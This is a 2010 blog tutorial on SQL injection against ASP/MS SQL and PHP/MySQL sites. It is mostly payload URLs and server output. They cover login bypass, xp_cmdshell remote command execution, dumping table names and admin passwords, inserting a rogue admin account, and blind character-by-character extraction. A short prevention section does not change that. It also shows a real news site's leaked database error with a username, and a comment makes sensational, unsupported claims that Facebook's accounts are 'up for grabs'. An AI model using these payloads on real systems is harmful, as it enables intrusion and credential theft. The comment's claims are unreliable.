IP

Monday, November 22, 2010

SQL Injection

                                                               SQL injection
------------------------------------------------------------------------------------------------
NOTE: - INTENDED FOR EDUCATIONAL PURPOSE ONLY. THE AUTHOR WONT BE HELD RESPONSIBLE FOR THE MISUSE OF THIS ARTICLE.
------------------------------------------------------------------------------------------------

What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user,and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
Everything between the and have potential parameters that might be useful (exploit wise).

What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: AA' or 1=1--
- Pass: BB' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.

If luck is on your side, you will get login without any login name or password.
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available.

Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=Khan

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='Khan'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'Khan'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=Khan' or 1=1--

Now, our variable v_cat equals to "Khan' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='Khan' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore
the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a


How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

How to get data from the database using ODBC error message We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1",To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".


Example :
http://www.bhaskar.com/article/NAT-a-rajas-company-1577810.html?HF=order%20by%201

Warning: mysql_pconnect() [function.mysql-pconnect]: Access denied for user 'bhaskarweb30'@'142.168.3.50' (using password: YES)
in /disk2/v/apache/htdocs/VIRTUAL/domains/www.bhaskar.com/public_html/web3_bhaskar_dbopen.php on line 2
Unable to connect to server

http://www.bhaskar.com/article/function.mysql-pconnect


How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN
('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5


How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number
(character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case).
Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password.Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.


How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


Types of SQL Injection Attacks

First Order Attack:

UNIONS added to an existing statement to execute a second statement

Subquery added to an existing statement

Existing SQL short-circuited to bring back all the data (for example, adding a query condition such as OR 1=1)

Second Order SQL Injection Attack

Suppose you have a Web-based application which stores usernames alongside other session information. Given a session identifier such as a cookie you want to retrieve the
current username and then use it in turn to retrieve some user information. You might therefore have code for an "Update User Profile" screen somewhat similar to the following:

execute immediate 'SELECT username FROM sessiontable WHERE session
='''||sessionid||'''' into username;

execute immediate 'SELECT ssn FROM users WHERE
username='''||username||'''' into ssn;

This will be injectable if the attacker had earlier on the "Create Account" screen created a username such as:
XXX' OR username='JANE

Which creates the query:
SELECT ssn FROM users WHERE username='XXX’ OR username='JANE'

If the user XXX does not exist, the attacker has successfully retrieved Jane’s social security number.

The attacker can create malicious database objects such as a function called as part of an API, or a maliciously named table by using double quotation marks to introduce dangerous constructs.

For example, an attacker can create a table using a table name such as "tab') or 1=1--", which can be exploited later in a second order SQL injection attack.

Lateral SQL Injection Attack

Using Lateral SQL Injection, an attacker can exploit a PL/SQL procedure that does not even take user input. When a variable whose data type is date or number is concatenated into the text of a SQL statement, then, contrary to popular belief, there still is a risk of injection. The implicit function TO_CHAR() can be manipulated by using NLS_Date_Format or NLS_Numeric_Characters, respectively. You can include arbitrary text in the format model, and you do not need to include any of the “structured” elements such as Mon, hh24, and so on. Here's the “normal” use of that flexibility:

SQL> SET SERVEROUTPUT ON
SQL> ALTER session SET NLS_Date_Format = '"The time is"... hh24:mi'
2 /
Session altered.
SQL> SELECT TO_CHAR(SYSDATE) d FROM Dual
2 /
D
--------------------
The time is... 19:49
SQL> DECLARE
2 d DATE := TO_DATE('The time is... 23:15');
3 BEGIN
4 -- Implicit To_Char()
5 DBMS_OUTPUT.PUT_LINE(d);
6 END;
7 /
The time is... 23:15
PL/SQL procedure successfully completed.



Error-Based SQL Injection
Union-Based SQL Injection
Blind SQL Injection

Error:
Asking the DB a question that will cause an error, and gleening information from the
error.
Union:
The SQL UNION is used to combine the results of two or more SELECT SQL
statements into a single result. Really useful for SQL Injection :)

Blind:
Asking the DB a true/false question and using whether valid page returned or not, or by using
the time it took for your valid page to return as the answer to the question.

Attack
* Error-Based SQL Injection (Easiest)
* Union-Based SQL Injection (Great for data extraction)
* Blind SQL Injection (Worst case....last resort)


-------------------------------------------------------------------------------------------------------------
                                                   HACKING MY-SQL SITES


Suppose we have website like this:-
http://www.site.com/news.php?id=7 To test this URL, we add a quote to it ‘
http://www.site.com/news.php?id=7’ On executing it, if we get an error like this:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right etc..."Or something like that, that means the target is vulnerable to sql injection ?

FINDING THE COLUMNS
To find number of columns we use statement ORDER BY (tells database how to order the result).

In order to use, we do increment until we get an error. Like:
http://www.site.com/news.php?id=7 order by 1/*
<-- no error http://www.site.com/news.php?id=7 order by 2/*
 <-- no error http://www.site.com/news.php?id=7 order by 3/*
 <-- no error http://www.site.com/news.php?id=7 order by 4/*
 <-- error (we get message like this Unknown column '4' in 'order clause' or something like that) This means that it has 3 columns, cause we got an error on 4. CHECKING FOR UNION FUNCTION Our next is step is to check for union function. This is because with union function we can select more data in one statement only. Like: http://www.site.com/news.php?id=7 union all select 1,2,3/* (we already found that number of columns are 3) If we see some numbers on screen, i.e. 1 or 2 or 3, that means the UNION works

CHECKING FOR MySQL VERSION
Lets us check for the MySQL version. Lets us assume that on checking for union function, we got number 3 on the screen. So for detecting the version, we will replace number 3 of our query by @@version or version(). Like: http://www.site.com/news.php?id=7 union all select 1,2,@@version/* if you get an error union + illegal mix of collations (IMPLICIT + COERCIBLE), we need a convert() function. Like with hex() or unhex(): http://www.site.com/news.php?id=5 union all select 1,2,unhex(hex(@@version))/* GETTING TABLE AND COLUMN NAME This is for MySQL version < 5.
 Later in this paper I’ll be discussing it for version > 5. common table names are: user/s, admin/s, member/s
common column names are: username, user, usr, user_name, password, pass,passwd, pwd etc
So our query will be like this:
http://www.site.com/news.php?id=7 union all select 1,2,3 from admin/* We see number 3 on the screen like before. Now we know that table admin exists. Now to check column names we craft a query:

http://www.site.com/news.php?id=7 union all select 1,2,username fromadmin/* (if you get an error, then try the other column name) We get username displayed on screen; example would be admin, or
superadmin etc Now to check for the column password, we craft this query:
http://www.site.com/news.php?id=7 union all select 1,2,password from admin/* (if you get an error, then try the other column name) If we got successful, we will see password on the screen. It can be in plain
text or hash depending on how the database has been setup ?. Now we must complete the query. For that we can use concat() function (it joins strings): http://www.site.com/news.php?id=7 union all select
1,2,concat(username,0x3a,password)from admin/* Note that we put 0x3a, its hex value for : (so 0x3a is hex value for colon) Now we get displayed username: password on screen, i.e. admin: admin or admin: some hash, we can log into the site as admin ? FOR MySQL > 5 In this case, we will need information_schema. It holds all the tables and columns in the database. So to get it, we use table_name and information_schema. Like:
http://www.site.com/news.php?id=5 union all select 1,2,table_name from information_schema.tables/*
Here we replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. Like:
http://www.site.com/news.php?id=7 union all select 1,2,table_name from information_schema.tables limit 0,1/*
Note that I put 1, 0 i.e. getting result 1 form 0 Now to view the second table, we change limit 0, 1 to
 limit 1, 1:
http://www.site.com/news.php?id=7 union all select 1,2,table_name from
information_schema.tables limit 1,1/*
The second table is displayed.
For third table we put limit 2,1
http://www.site.com/news.php?id=7 union all select 1,2,table_name from
information_schema.tables limit 2,1/*
Keep incrementing until you get some useful like db_admin, poll_user, auth,
auth_user etc ?
To get the column names the method is the same. Here we use
column_name and information_schema.columns. Like:
http://www.site.com/news.php?id=5 union all select 1,2,column_name from
information_schema.columns limit 0,1/*
The first column name is displayed. For second column we will change the
limit for 0,1 to 1,0 and so on.
If you want to display column names for specific table use where clause
Let us assume that we have found a table “user”. Like:
http://www.site.com/news.php?id=7 union all select 1,2,column_name from
information_schema.columns where table_name='users'/*
Now we get displayed column name in table users. Just using LIMIT we can
list all columns in table users.
Note that this won't work if the magic quotes is ON.
Let’s say that we found columns user, pass and email. Now to complete
query to put them all together using concat():
http://www.site.com/news.php?id=7 union all select 1,2
concat(user,0x3a,pass,0x3a,email) from users/*
What we get here is user:pass:email from table users.
Example: admin:hash:whatever@abc.com

BLIND SQL INJECTION
The above we discussed comes under Error based sql injection. Let us the
discuss the harder part i.e. Blind sql injection.
We use our example: http://www.site.com/news.php?id=7
Let’s test it:
http://www.site.com/news.php?id=7 and 1=1 <--- this is always true and the page loads normally, that's ok. http://www.site.com/news.php?id=7 and 1=2 <--- this is false, so if some text, picture or some content is missing on returned page then that site is vulnerable to blind sql injection. ? GETTING MySQL VERSION To get the MySQL version in blind attack we use substring: http://www.site.com/news.php?id=7 and substring(@@version,1,1)=4 This should return TRUE if the version of MySQL is 4. Replace 4 with 5, and if query return TRUE then the version is 5. CHECKING FOR SUBSELECT When select don't work then we use subselect: http://www.site.com/news.php?id=7 and (select 1)=1 If page loads normally then subselect work, then we are going to see if we have access to mysql.user: http://www.site.com/news.php?id=7 and (select 1 from mysql.user limit 0,1)=1 If page loads normally we have access to mysql.user and then later we can pull some password using load_file() function and OUTFILE. CHECKING FOR TABLE AND COLUMN NAME Here luck and guessing works more than anything ? http://www.site.com/news.php?id=7 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) Then if the page loads normally without content missing, the table users exits. If you get FALSE (some article missing), just change table name until you guess the right one. Let’s say that we have found that table name is users, now what we need is column name. The same as table name, we start guessing. Like i said before try the common names for columns: http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 If the page loads normally we know that column name is password (if we get false then try common names or just guess). Here we merge 1 with the column password, then substring returns the first character (1,1) PULL DATA FROM DATABASE We found table users i columns username password so we gonna pull characters from that. Like: http://www.site.com/news.php?id=7 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Ok this here pulls the first character from first user in table users. Substring
here returns first character and 1 character in length. ascii() converts that 1
character into ascii value and then compare it with symbol greater then > .So
if the ascii char greater then 80, the page loads normally. (TRUE) we keep
trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>95
We get TRUE, keep incrementing.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
So the first character in username is char(99). Using the ascii converter we
know that char(99) is letter 'c'.
So keep incrementing until you get the end. (when >0 returns false we know
that we have reach the end).

1 comment:

  1. Facebook, a website with an estimated of 5 to 10 Million in US Dollars, a number of 250-1000 employees, a website ranked number 8 GLOBALLY by alexa.com’s traffic standards, is not capable of securing their data base. Millions (LOTS OF MILLIONS) of accounts, email addresses and passwords up for grabs by anyone. Let me show you a few concrete examples of vulnerable parameters.
    Source: Hacker Underground

    Not only is the website vulnerable to sql injection but it also allows load_file to be executed making it very dangerous because with a little patience, a writable directory can be found and injection a malicious code we get command line access with wich we can do virtualy anything we want with the website: upload phpshells, redirects, INFECT PAGES WITH TROJAN DROPPERS, even deface the whole website.

    Basically, Facebook is no safer than any other site, but given the huge benefits it makes, it got the resources to pay its attackers so that the info is not made public. But nevertheless, those who are not interested in money but security do make these info public.
    Facebook has also been found to be vulnerable to Blind SQL.

    ReplyDelete